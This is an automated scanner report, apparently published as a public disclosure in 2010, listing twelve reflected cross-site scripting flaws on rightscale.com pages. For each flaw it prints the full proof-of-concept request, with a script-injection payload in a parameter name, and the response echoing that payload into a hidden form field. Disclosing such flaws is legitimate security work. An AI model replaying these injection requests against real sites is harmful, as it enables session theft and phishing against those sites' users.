rightscale.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in www.rightscale.com | CloudScan Vulnerability Crawler

Report attached to Blog Post at Fri Dec 17 15:56:32 CST 2010.


Cross Site Scripting in rightscale.com

1. Cross-site scripting (reflected)


Loading



1.1. http://www.rightscale.com/about_us/contact_us.php [name of an arbitrarily supplied request parameter]

1.2. http://www.rightscale.com/info_center/community/ambassador-program.php [name of an arbitrarily supplied request parameter]

1.3. http://www.rightscale.com/lp/amazon-s3.php [name of an arbitrarily supplied request parameter]

1.4. http://www.rightscale.com/lp/amazon_ec2.php [name of an arbitrarily supplied request parameter]

1.5. http://www.rightscale.com/lp/cloud-computing-for-development-and-testing.php [name of an arbitrarily supplied request parameter]

1.6. http://www.rightscale.com/lp/cloud-computing-management.php [name of an arbitrarily supplied request parameter]

1.7. http://www.rightscale.com/lp/compute-cloud.php [name of an arbitrarily supplied request parameter]

1.8. http://www.rightscale.com/lp/deployment-management.php [name of an arbitrarily supplied request parameter]

1.9. http://www.rightscale.com/lp/load-balancing-in-the-cloud-whitepaper.php [name of an arbitrarily supplied request parameter]

1.10. http://www.rightscale.com/lp/server-deployment.php [name of an arbitrarily supplied request parameter]

1.11. http://www.rightscale.com/lp/webinar/cloud-computing-basics-archive.php [name of an arbitrarily supplied request parameter]

1.12. http://www.rightscale.com/products/free_edition.php [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)

XSS in rightscale.com
There are 12 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.rightscale.com/about_us/contact_us.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /about_us/contact_us.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91ea4"><script>alert(1)</script>a20c84ae179 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /about_us/contact_us.php?91ea4"><script>alert(1)</script>a20c84ae179=1 HTTP/1.1
Host: www.rightscale.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.3.10.1292614467

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 35735


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <!-- Expanded Form Test: Control -->
   <html xmlns="http://www.w3.org/1999/xhtml" xml:l
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/about_us/contact_us.php?91ea4"><script>alert(1)</script>a20c84ae179=1" />
...[SNIP]...

1.2. http://www.rightscale.com/info_center/community/ambassador-program.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /info_center/community/ambassador-program.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f79c0"><script>alert(1)</script>b3f360947e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /info_center/community/ambassador-program.php?f79c0"><script>alert(1)</script>b3f360947e2=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 25499

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <title>Join t
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/info_center/community/ambassador-program.php?f79c0"><script>alert(1)</script>b3f360947e2=1" />
...[SNIP]...

1.3. http://www.rightscale.com/lp/amazon-s3.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/amazon-s3.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bc82"><script>alert(1)</script>6275f762746 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/amazon-s3.php?3bc82"><script>alert(1)</script>6275f762746=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26498

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/amazon-s3.php?3bc82"><script>alert(1)</script>6275f762746=1" />
...[SNIP]...

1.4. http://www.rightscale.com/lp/amazon_ec2.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/amazon_ec2.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f3af"><script>alert(1)</script>bca7e417336 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/amazon_ec2.php?3f3af"><script>alert(1)</script>bca7e417336=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26451

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/amazon_ec2.php?3f3af"><script>alert(1)</script>bca7e417336=1" />
...[SNIP]...

1.5. http://www.rightscale.com/lp/cloud-computing-for-development-and-testing.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/cloud-computing-for-development-and-testing.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59e50"><script>alert(1)</script>6015ec6f6d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/cloud-computing-for-development-and-testing.php?59e50"><script>alert(1)</script>6015ec6f6d7=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 23590


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/cloud-computing-for-development-and-testing.php?59e50"><script>alert(1)</script>6015ec6f6d7=1" />
...[SNIP]...

1.6. http://www.rightscale.com/lp/cloud-computing-management.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/cloud-computing-management.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c88e"><script>alert(1)</script>54b575b05dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/cloud-computing-management.php?5c88e"><script>alert(1)</script>54b575b05dd=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26566

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/cloud-computing-management.php?5c88e"><script>alert(1)</script>54b575b05dd=1" />
...[SNIP]...

1.7. http://www.rightscale.com/lp/compute-cloud.php [name of an arbitrarily supplied request parameter]  previous  next

Summary


Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/compute-cloud.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aae82"><script>alert(1)</script>4cdeb0d423 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/compute-cloud.php?aae82"><script>alert(1)</script>4cdeb0d423=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26561

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/compute-cloud.php?aae82"><script>alert(1)</script>4cdeb0d423=1" />
...[SNIP]...

1.8. http://www.rightscale.com/lp/deployment-management.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/deployment-management.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e575"><script>alert(1)</script>1623b007ab0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/deployment-management.php?4e575"><script>alert(1)</script>1623b007ab0=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26535

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/deployment-management.php?4e575"><script>alert(1)</script>1623b007ab0=1" />
...[SNIP]...

1.9. http://www.rightscale.com/lp/load-balancing-in-the-cloud-whitepaper.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/load-balancing-in-the-cloud-whitepaper.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7d51"><script>alert(1)</script>8f626e6f037 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/load-balancing-in-the-cloud-whitepaper.php?e7d51"><script>alert(1)</script>8f626e6f037=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 29078

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <title>Down
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/load-balancing-in-the-cloud-whitepaper.php?e7d51"><script>alert(1)</script>8f626e6f037=1" />
...[SNIP]...

1.10. http://www.rightscale.com/lp/server-deployment.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/server-deployment.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd858"><script>alert(1)</script>a57ceccc245 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/server-deployment.php?bd858"><script>alert(1)</script>a57ceccc245=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.4.10.1292614467;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 26538

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/server-deployment.php?bd858"><script>alert(1)</script>a57ceccc245=1" />
...[SNIP]...

1.11. http://www.rightscale.com/lp/webinar/cloud-computing-basics-archive.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /lp/webinar/cloud-computing-basics-archive.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28f3f"><script>alert(1)</script>45faebe81c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lp/webinar/cloud-computing-basics-archive.php?28f3f"><script>alert(1)</script>45faebe81c2=1 HTTP/1.1
Host: www.rightscale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:16:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 25975


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/lp/webinar/cloud-computing-basics-archive.php?28f3f"><script>alert(1)</script>45faebe81c2=1" />
...[SNIP]...

1.12. http://www.rightscale.com/products/free_edition.php [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightscale.com
Path:   /products/free_edition.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f162e"><script>alert(1)</script>c6390e69368 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/free_edition.php?f162e"><script>alert(1)</script>c6390e69368=1 HTTP/1.1
Host: www.rightscale.com
Proxy-Connection: keep-alive
Referer: http://www.rightscale.com/search.php?cx=012113862798849245312%3Arnn--s4-iti&cof=FORID%3A11&ie=UTF-8&q=%27&sa.x=0&sa.y=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=77833355.1292614467.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=77833355.2056005713.1292614467.1292614467.1292614467.1; __utmc=77833355; __utmb=77833355.2.10.1292614467

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 17 Dec 2010 19:37:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.2.4
Vary: Accept-Encoding
Content-Length: 40247


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<input type="hidden" name="00N70000002P0f5" value="http://www.rightscale.com/products/free_edition.php?f162e"><script>alert(1)</script>c6390e69368=1" />
...[SNIP]...

Report generated by XSS.CX at Fri Dec 17 15:56:32 CST 2010.